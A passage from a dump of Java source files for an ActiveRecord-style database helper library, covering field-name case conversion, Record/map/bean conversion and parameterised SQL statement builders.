sb.toString();\n        }\n    }\n\n    public static boolean isNumber(char ch) {\n        return ch >= '0' && ch <= '9';\n    }\n\n    public static String getCamelName(String param) {\n        return toCamelCase(param, UNDERLINE);\n    }\n\n    public static String toCamelCase(CharSequence name) {\n        return toCamelCase(name, UNDERLINE);\n    }\n    public static String toCamelCase(CharSequence name, char symbol) {\n        if (null == name) {\n            return null;\n        } else {\n            String name2 = name.toString();\n            if (/*StrUtil.contains(name2, symbol)*/name2.indexOf(symbol)>-1) {\n                int length = name2.length();\n                StringBuilder sb = new StringBuilder(length);\n                boolean upperCase = false;\n                for(int i = 0; i < length; ++i) {\n                    char c = name2.charAt(i);\n                    if (c == symbol) {\n                        upperCase = true;\n                    } else if (upperCase) {\n                        sb.append(Character.toUpperCase(c));\n                        upperCase = false;\n                    } else {\n                        sb.append(Character.toLowerCase(c));\n                    }\n                }\n                return sb.toString();\n            } else {\n                return name2;\n            }\n        }\n    }\n\n\n\n\n    public static void main(String[] args) {\n//        System.out.println(getUnderlineName(\"AbcDeft\"));\n//        System.out.println(getCamelName(\"abc_deft\"));\n//        System.out.println(fieldNameToColumnName(\"AbcDeft\"));\n//        System.out.println(columnNameToFieldName(\"abc_deft\"));\n        System.out.println(FieldUtils.toCamelCase(\"abc_deft\"));\n        System.out.println(FieldUtils.toUnderlineCase(\"AbcDeft\"));\n    }\n\n\n\n    public static List<Field> allFields(Class clazz){\n        ArrayList<Field> fields = new ArrayList<>();\n        fields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields()));\n        fields.addAll(Arrays.asList(clazz.getDeclaredFields()));\n        return fields;\n    }\n    \n    public static String columnNameToFieldName(String name){\n    \treturn getCamelName(name);\n    }\n    public static String fieldNameToColumnName(String name){\n    \treturn getUnderlineName(name);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/RecordUtil.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.annotation.AnnotationUtil;\nimport cn.hutool.json.JSONConfig;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\n\nimport javax.persistence.Column;\nimport javax.persistence.Table;\nimport javax.persistence.Transient;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.util.*;\n\n/**\n * @ClassName: RecordUtils\n * @Description: Record相关工具类\n */\npublic class RecordUtil {\n\n\n    public static <T> List mapToBeans(List<Map<String, Object>> lists, Class<T> clazz) {\n        List<T> datas = new ArrayList();\n        if (lists != null && lists.size() > 0) {\n            lists.forEach(map -> {\n                datas.add(mapToBean(map, clazz));\n            });\n        }\n        return datas;\n    }\n\n    public static <T> T mapToBean(Map<String, Object> map, Class<T> clazz) {\n        return mapToBean(map, clazz, true);\n    }\n\n    public static <T> T mapToBean(Map<String, Object> map, Class<T> clazz, boolean isToCamelCase) {\n        T obj = null;\n        Map m = new HashMap<>();\n        map.forEach((k, v) -> {\n            if(isToCamelCase){\n                m.put(FieldUtils.toCamelCase(String.valueOf(k)), v);\n            }else{\n                m.put(FieldUtils.toUnderlineCase(String.valueOf(k)), v);\n            }\n        });\n        try {\n            //obj = BeanUtil.mapToBean(map, clazz,true, CopyOptions.create());\n            obj = JSONObject.parseObject(JSONObject.toJSONString(map), clazz);\n            //Map demoMap = JSONObject.parseObject(JSONObject.toJSONString(obj), Map.class);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return obj;\n    }\n\n\n    public static List<Map<String, Object>> recordToMaps(List<Record> recordList) {\n        return recordToMaps(recordList, false);\n    }\n\n    public static List<Map<String, Object>> recordToMaps(List<Record> recordList, Boolean isUnderLine) {\n        if (recordList == null || recordList.size() == 0) {\n            return null;\n        }\n        List<Map<String, Object>> list = new ArrayList<>();\n        if (recordList.size() == 0) {\n            return list;\n        }\n        for (Record record : recordList) {\n            try {\n                list.add(RecordUtil.recordToMap(record, isUnderLine));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n\n    public static Map<String, Object> recordToMap(Record record) {\n        return recordToMap(record, false);\n    }\n\n    public static Map<String, Object> recordToMap(Record record, Boolean isUnderLine) {\n        Map<String, Object> map = new HashMap<String, Object>();\n        if (record != null) {\n            String[] columns = record.getColumnNames();\n            for (String col : columns) {\n                String fieldName = FieldUtils.columnNameToFieldName(col);\n                if (isUnderLine) {\n                    fieldName = col;\n                }\n                map.put(fieldName, record.get(col));\n            }\n        }\n        return map;\n    }\n\n    public static Page pageRecordToPageMap(Page<Record> pageList, Boolean isUnderLine) {\n        if (pageList == null) {\n            return null;\n        }\n        Page page = new Page();\n        page.setList(recordToMaps(pageList.getList(), isUnderLine));\n        page.setPageNumber(pageList.getPageNumber());\n        page.setPageSize(pageList.getPageSize());\n        page.setTotalPage(pageList.getTotalPage());\n        page.setTotalRow(pageList.getTotalRow());\n        return page;\n    }\n\n\n    public static <T> List<T> recordToBeans(List<Record> recordList, Class<T> clazz) {\n        if (recordList == null || recordList.size() == 0) {\n            return null;\n        }\n        List<T> list = new ArrayList<>();\n        if (recordList.size() == 0) {\n            return list;\n        }\n        for (Record record : recordList) {\n            try {\n                list.add((T) RecordUtil.recordToBean(record, clazz));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n\n    public static <T> T recordToBean(Record record, Class<T> clazz) {\n        return recordToBean(record, clazz, false);\n    }\n\n    public static <T> T recordToBean(Record record, Class<T> clazz, boolean isToCamelCase) {\n        if (record == null) {\n            return null;\n        }\n        Map maps = recordToMap(record, isToCamelCase);\n        return (T) mapToBean(maps, clazz, isToCamelCase);\n    }\n\n    public static Record mapping(Map<String, Object> map) {\n        return mapToRecord(map);\n    }\n\n    public static Record mapToRecord(Map<String, Object> map) {\n        return mapToRecord(map, false);\n    }\n\n    private static Record mapToRecord(Map<String, Object> map, boolean isToCamelCase) {\n        Record record = new Record();\n        for (Map.Entry<String, Object> entry : map.entrySet()) {\n            String keyOld = entry.getKey();\n            if (isToCamelCase) {\n                record.set(keyOld, entry.getValue());\n            } else {\n                String keyNew = FieldUtils.toUnderlineCase(keyOld);\n                record.set(keyNew, entry.getValue());\n            }\n        }\n        return record;\n    }\n\n    public static List<Record> mapToRecords(List<Map<String, Object>> maps) {\n        return toRecords(maps);\n    }\n    public static List<Record> mappingList(List<Map<String, Object>> maps) {\n        return toRecords(maps);\n    }\n\n    private static List<Record> toRecords(List<Map<String, Object>> maps) {\n        List<Record> records = new ArrayList<>();\n        if (null != maps && !maps.isEmpty()) {\n            for (Map<String, Object> map : maps) {\n                records.add(mapping(map));\n            }\n            return records;\n        } else {\n            return null;\n        }\n    }\n\n    //****************************************************************************************************\n    //****************************************************************************************************\n    //****************************************************************************************************\n\n    public static String getTableName(Object bean) {\n        String tableName = \"\";\n        if (bean instanceof Class) {\n            tableName = ((Class) bean).getSimpleName();\n            tableName = FieldUtils.getUnderlineName(tableName);\n            Class clazz = (Class) bean;\n            if (AnnotationUtil.hasAnnotation(clazz, Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(clazz, TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, TableName.class, \"value\");\n            }/*else if(AnnotationUtil.hasAnnotation(clazz,Entity.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz, Entity.class,\"table\");\n\t\t\t}*/\n        } else {\n            tableName = FieldUtils.getUnderlineName(bean.getClass().getSimpleName());\n            if (AnnotationUtil.hasAnnotation(bean.getClass(), Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(bean.getClass(), Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(bean.getClass(), TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(bean.getClass(), TableName.class, \"value\");\n            }/*else if(AnnotationUtil.hasAnnotation(bean.getClass(),Entity.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(), Entity.class,\"table\");\n\t\t\t}*/\n        }\n        return tableName;\n    }\n\n    public static <T> List<Map<String,Object>> beanToMaps(List<T> lists) {\n        return beanToMaps(lists,true);\n    }\n    private static <T>  List<Map<String,Object>> beanToMaps(List<T> lists, boolean isToCamelCase) {\n        List<Map<String,Object>> datas = new ArrayList();\n        if (lists != null && lists.size() > 0) {\n            lists.forEach(obj -> {\n                datas.add(beanToMap(obj, isToCamelCase));\n            });\n        }\n        return datas;\n    }\n    public static Map beanToMap(Object bean) {\n        return beanToMap(bean, true);\n    }\n\n    private static Map beanToMap(Object bean, boolean isToCamelCase) {\n        Map map = new HashMap<>();\n        try {\n            Class<?> cls = bean.getClass();\n            for (Field field : cls.getDeclaredFields()) {\n                field.setAccessible(true);\n                Object val = field.get(bean);\n                if (val != null) {\n                    String columnName = getColumnName(field);\n                    if (columnName == null) {\n                        continue;\n                    }\n                    if (isToCamelCase) {\n                        map.put(FieldUtils.toCamelCase(columnName), val);\n                    } else {\n                        map.put(columnName, val);\n                    }\n                }\n            }\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n        return map;\n    }\n\n    public static <T> List<Record> beanToRecords(List<T> lists) {\n        return beanToRecords(lists,true);\n    }\n    private static <T>  List<Record> beanToRecords(List<T> lists, boolean isToCamelCase) {\n        List<Record> datas = new ArrayList();\n        if (lists != null && lists.size() > 0) {\n            lists.forEach(obj -> {\n                datas.add(beanToRecord(obj, isToCamelCase));\n            });\n        }\n        return datas;\n    }\n\n\n    public static Record beanToRecord(Object bean) {\n        return beanToRecord(bean, false);\n    }\n\n    private static Record beanToRecord(Object bean, boolean isToCamelCase) {\n        Record record = new Record();\n        try {\n            Class<?> cls = bean.getClass();\n            for (Field field : cls.getDeclaredFields()) {\n                field.setAccessible(true);\n                Object val = field.get(bean);\n                if (val != null) {\n                    String columnName = getColumnName(field);\n                    if (columnName == null) {\n                        continue;\n                    }\n                    if (isToCamelCase) {\n                        record.put(FieldUtils.toCamelCase(columnName), val);\n                    } else {\n                        record.put(columnName, val);\n                    }\n                }\n            }\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n        return record;\n    }\n\n    private static String getColumnName(Field field) {\n        if(Modifier.isTransient(field.getModifiers())){\n            return null;\n        }\n        String DYH = \"\";// \"\"`\";  //'`';\n        String columndName = FieldUtils.getUnderlineName(field.getName());\n        String columndNameNew = DYH + columndName + DYH;\n        if (AnnotationUtil.hasAnnotation(field, Transient.class)) {\n            return null;\n        }\n        if (AnnotationUtil.hasAnnotation(field, TableField.class)) {\n            columndName = AnnotationUtil.getAnnotationValue(field, TableField.class, \"value\");\n            Boolean existFlag = AnnotationUtil.getAnnotationValue(field, TableField.class, \"exist\");\n            if (existFlag == false) {\n                return null;\n            }\n            columndNameNew = DYH + columndName + DYH;\n        } else if (AnnotationUtil.hasAnnotation(field, Column.class)) {\n            columndName = AnnotationUtil.getAnnotationValue(field, Column.class, \"name\");\n            columndNameNew = DYH + columndName + DYH;\n        }/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n            columndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n            columndNameNew = DYH+columndName+DYH;\n        }*/\n        return columndNameNew;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/SqlContext.java",
    "content": "package io.github.wujun728.db.utils;\n\npublic class SqlContext {\n\n\t// sql语句\n\tprivate StringBuilder sql;\n\t// sql中?对应的参数\n\tprivate Object[] params;\n\t\n\tpublic SqlContext() {\n\t}\n\n\tpublic SqlContext(StringBuilder sql) {\n\t\tthis.sql = sql;\n\t}\n\n\tpublic SqlContext(StringBuilder sql, Object[] params) {\n\t\tthis.sql = sql;\n\t\tthis.params = params;\n\t}\n\n\tpublic String getSql() {\n\t\treturn sql.toString();\n\t}\n\n\tpublic StringBuilder getSqlBuilder() {\n\t\treturn sql;\n\t}\n\n\tpublic void setSql(StringBuilder sql) {\n\t\tthis.sql = sql;\n\t}\n\n\tpublic void setSql(String sql) {\n\t\tthis.sql = new StringBuilder(sql);\n\t}\n\n\tpublic Object[] getParams() {\n\t\treturn params;\n\t}\n\n\tpublic void setParams(Object[] params) {\n\t\tthis.params = params;\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/SqlUtils.java",
    "content": "package io.github.wujun728.db.utils;\n\n\nimport cn.hutool.core.annotation.AnnotationUtil;\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.Transient;\nimport java.lang.reflect.AnnotatedElement;\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n//import static io.github.wujun728.db.record.DbPro.getPkNames;\n\n\npublic class SqlUtils {\n\n\tprivate static final String SELECT = \"SELECT * FROM \";\n\tprivate static final String SELECTCOUNT = \"SELECT COUNT(*) \";\n\tprivate static final String INSERT = \"INSERT INTO \";\n\tprivate static final String UPDATE = \"UPDATE \";\n\tprivate static final String SET = \" SET \";\n\tprivate static final String WHERE = \" WHERE \";\n\tprivate static final String WHEREOK = \" WHERE 1=1\";\n\tprivate static final String WHERENO = \" WHERE 1=2\";\n\tprivate static final String DELETE = \"DELETE FROM \";\n\tprivate static final String LEFT = \"(\";\n\tprivate static final String VALUES = \") VALUES (\";\n\tprivate static final String RIGHT = \")\";\n\tprivate static final String AND = \" AND \";\n\tprivate static final String OR = \" OR \";\n\tprivate static final String LINK = \",\";\n\tprivate static final String OCCUPY = \"?,\";\n\tprivate static final String EQUAL = \"=?\";\n\tprivate static final String EQUAL_LINK = \"=?,\";\n\tprivate static final String EQUAL_AND = \"=? AND \";\n\tprivate static final String FROM = \"FROM\";\n\tprivate static final String ORDER = \"ORDER BY\";\n\tprivate static final String LIMIT = \" LIMIT \";\n\tprivate static final String order = \"order by\";\n\tprivate static final String limit = \" limit \";\n\tprivate static final String from = \"from\";\n\tprivate static final String EMPTY = \"\";\n\tprivate static final String R_ORDER = \"ORDER.*\";\n\tprivate static final String R_LIMIT = \"LIMIT.*\";\n\n\n\tpublic static String getTableName(Object bean) {\n\t\tString tableName = \"\";\n\t\tif(bean instanceof Class){\n\t\t\ttableName = ((Class)bean).getSimpleName();\n\t\t\ttableName = FieldUtils.getUnderlineName(tableName);\n\t\t\tClass clazz = (Class) bean;\n\t\t\tif(AnnotationUtil.hasAnnotation(clazz,Table.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz,Table.class,\"name\");\n\t\t\t}else if(AnnotationUtil.hasAnnotation(clazz,TableName.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz,TableName.class,\"value\");\n\t\t\t}/*else if(AnnotationUtil.hasAnnotation(clazz,Entity.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz, Entity.class,\"table\");\n\t\t\t}*/\n\t\t}else{\n\t\t\ttableName = FieldUtils.getUnderlineName(bean.getClass().getSimpleName());\n\t\t\tif(AnnotationUtil.hasAnnotation(bean.getClass(),Table.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(),Table.class,\"name\");\n\t\t\t}else if(AnnotationUtil.hasAnnotation(bean.getClass(),TableName.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(),TableName.class,\"value\");\n\t\t\t}/*else if(AnnotationUtil.hasAnnotation(bean.getClass(),Entity.class)){\n\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(), Entity.class,\"table\");\n\t\t\t}*/\n\t\t}\n\t\treturn tableName;\n\t}\n\t/**\n\t * 构建insert语句\n\t *\n\t * @param bean\n\t *            实体映射对象\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getInsert(Object bean) {\n\t\tList<Object> values = new ArrayList<Object>();\n\t\tStringBuilder sql = new StringBuilder();\n\t\tStringBuilder cols = new StringBuilder();\n\t\tStringBuilder placeholder = new StringBuilder();\n\t\ttry {\n\t\t\tClass<?> cls = bean.getClass();\n\t\t\tfor (Field field : cls.getDeclaredFields()) {\n\t\t\t\tfield.setAccessible(true);\n\t\t\t\tObject val = field.get(bean);\n\t\t\t\tif (val != null) {\n\t\t\t\t\t//Mark Mysql\n\t\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n\t\t\t\t\tString columndNameNew = '`'+columndName+'`';\n\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n\t\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n\t\t\t\t\t\tif(existFlag==false){\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t}*/\n\t\t\t\t\tcols.append(columndNameNew).append(LINK);\n\t\t\t\t\tplaceholder.append(OCCUPY);\n\t\t\t\t\tvalues.add(val);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(cols.length()>0){\n\t\t\t\tcols.deleteCharAt(cols.length() - 1);\n\t\t\t}\n\t\t\tif(placeholder.length()>0){\n\t\t\t\tplaceholder.deleteCharAt(placeholder.length() - 1);\n\t\t\t}\n\t\t\tsql.append(INSERT);\n\t\t\tString tableName = getTableName(bean);\n\t\t\tsql.append(tableName);\n\t\t\tsql.append(LEFT);\n\t\t\tsql.append(cols);\n\t\t\tsql.append(VALUES);\n\t\t\tsql.append(placeholder);\n\t\t\tsql.append(RIGHT);\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn new SqlContext(sql, values.toArray());\n\t}\n\n\t/**\n\t * 构建update语句\n\t * \n\t * @param bean\n\t *            实体映射对象\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getUpdate(Object bean) {\n\t\tList<Object> values = new ArrayList<Object>();\n\t\tList<Object> wheresValue = new ArrayList<Object>();\n\t\tStringBuilder sql = new StringBuilder();\n\t\tStringBuilder cols = new StringBuilder();\n\t\tStringBuilder where = new StringBuilder();\n\t\tString tableName = getTableName(bean);\n\t\tString primaryKeyStr = getPkNames(tableName);\n\t\ttry {\n\t\t\tClass<?> cls = bean.getClass();\n\t\t\tfor (Field field : cls.getDeclaredFields()) {\n\t\t\t\tfield.setAccessible(true);\n\t\t\t\tObject val = field.get(bean);\n\t\t\t\tif (val != null) {\n\t\t\t\t\t//Mark Mysql\n\t\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n\t\t\t\t\tString columndNameNew = '`'+columndName+'`';\n\t\t\t\t\tif (/*field.isAnnotationPresent(PK.class)  ||*/ /*field.isAnnotationPresent(Id.class)*/ AnnotationUtil.hasAnnotation(field,Id.class)\n\t\t\t\t\t\t\t|| /*field.isAnnotationPresent(TableId.class)*/  AnnotationUtil.hasAnnotation(field,TableId.class)  || primaryKeyStr.contains(columndName)) {\n\t\t\t\t\t\t/*if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t\t}*/\n\t\t\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n\t\t\t\t\t\twheresValue.add(val);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n\t\t\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n\t\t\t\t\t\t\tif(existFlag==false){\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n\t\t\t\t\t\t\tvalues.add(val);\n\t\t\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n\t\t\t\t\t\t\tvalues.add(val);\n\t\t\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n\t\t\t\t\t\t\tvalues.add(val);\n\t\t\t\t\t\t}*/else{\n\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n\t\t\t\t\t\t\tvalues.add(val);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(StrUtil.isEmpty(cols)){\n\t\t\t\tthrow new RuntimeException(\"待更新的列不能为空！\");\n\t\t\t}\n\t\t\tif(StrUtil.isEmpty(where)){\n\t\t\t\tthrow new RuntimeException(\"待更新的主键列不能为空(无主键建议写SQL直接执行)！\");\n\t\t\t}\n\t\t\tcols.deleteCharAt(cols.length() - 1);\n\t\t\twhere.delete(where.length() - 4, where.length());\n\t\t\tvalues.addAll(wheresValue);\n\t\t\tsql.append(UPDATE);\n\t\t\tsql.append(tableName);\n\t\t\tsql.append(SET);\n\t\t\tsql.append(cols);\n\t\t\tsql.append(WHERE);\n\t\t\tsql.append(where);\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn new SqlContext(sql, values.toArray());\n\t}\n\n\tprivate static String getPkNames(String tableName) {\n\t\treturn \"id\";\n\t}\n\n\n\t/**\n\t * 构建delete语句（删除条件为实体对象@key字段）\n\t * \n\t * @param bean\n\t *            实体映射对象\n\t * @return\n\t */\n\tpublic static SqlContext getDelete(Object bean) {\n\t\tList<Object> wheresValue = new ArrayList<Object>();\n\t\tStringBuilder sql = new StringBuilder();\n\t\tStringBuilder where = new StringBuilder();\n\t\tString tableName = getTableName(bean);\n\t\tString primaryKeyStr = getPkNames(tableName);\n\t\ttry {\n\t\t\tClass<?> cls = bean.getClass();\n\t\t\tfor (Field field : cls.getDeclaredFields()) {\n\t\t\t\tfield.setAccessible(true);\n\t\t\t\tObject val = field.get(bean);\n\t\t\t\t//Mark Mysql\n\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n\t\t\t\tString columndNameNew = '`'+columndName+'`';\n\n\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n\t\t\t\t\tif(existFlag==false){\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t\t}*/\n\n\t\t\t\tif (val != null && (/*field.isAnnotationPresent(PK.class)  ||*/ field.isAnnotationPresent(Id.class)\n\t\t\t\t\t\t|| field.isAnnotationPresent(TableId.class)  ||  primaryKeyStr.contains(columndName))) {\n\t\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n\t\t\t\t\twheresValue.add(val);\n\t\t\t\t}\n\t\t\t}\n\t\t\twhere.delete(where.length() - 4, where.length());\n\t\t\tsql.append(DELETE);\n\t\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n\t\t\tsql.append(tableName);\n\t\t\tsql.append(WHERE);\n\t\t\tsql.append(where);\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn new SqlContext(sql, wheresValue.toArray());\n\t}\n\n\n\t/**\n\t * 数组合并\n\t * @param first\n\t * @param second\n\t * @return\n\t */\n\tpublic static Object[] concat(Object[] first, Object... second) {\n\t\tObject[] result = new Object[first.length + second.length];\n\t\tSystem.arraycopy(first, 0, result, 0, first.length);\n\t\tSystem.arraycopy(second, 0, result, first.length, second.length);\n\t\treturn result;\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t * @param cls\n\t *            类对象\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getSelect(Class<?> cls) {\n\t\tStringBuilder sql = new StringBuilder(SELECT);\n\t\tString tableName = getTableName(cls);\n\t\tsql.append(tableName);\n\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n\t\treturn new SqlContext(sql);\n\t}\n\tpublic static String getSelectSQl(Class<?> cls) {\n\t\tStringBuilder sql = new StringBuilder(SELECT);\n\t\tString tableName = getTableName(cls);\n\t\tsql.append(tableName);\n\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n\t\treturn sql.toString();\n\t}\n\n\t/**\n\t * 构建单个对象查询语条件为带有@key的字段\n\t * \n\t * @param cls\n\t * \n\t * @param id\n\t *            查询条件\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getByKey(Class<?> cls, Object... id) {\n\t\tSqlContext sqlContext = getSelect(cls);\n\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n\t\tStringBuilder where = new StringBuilder();\n\t\tsql.append(WHERE);\n\t\tString tableName = getTableName(cls);\n\t\tString primaryKeyStr = getPkNames(tableName);\n\t\tfor (Field field : cls.getDeclaredFields()) {\n\t\t\tfield.setAccessible(true);\n\t\t\t//Mark Mysql\n\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n\t\t\tString columndNameNew = '`'+columndName+'`';\n\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n\t\t\t\tif(existFlag==false){\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n\t\t\t}\n\n\t\t\tif (/*field.isAnnotationPresent(PK.class) ||*/ field.isAnnotationPresent(Id.class)\n\t\t\t\t\t|| field.isAnnotationPresent(TableId.class)   ||  primaryKeyStr.contains(columndName)) {\n\t\t\t\t//sql.append(columndNameNew).append(EQUAL);\n\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n\t\t\t\tsqlContext.setParams( id );\n//\t\t\t\tif(id != null && id.getClass().isArray() ){\n//\t\t\t\t}else{\n//\t\t\t\t\tsqlContext.setParams(new Object[] { id });\n//\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\twhere.delete(where.length() - 4, 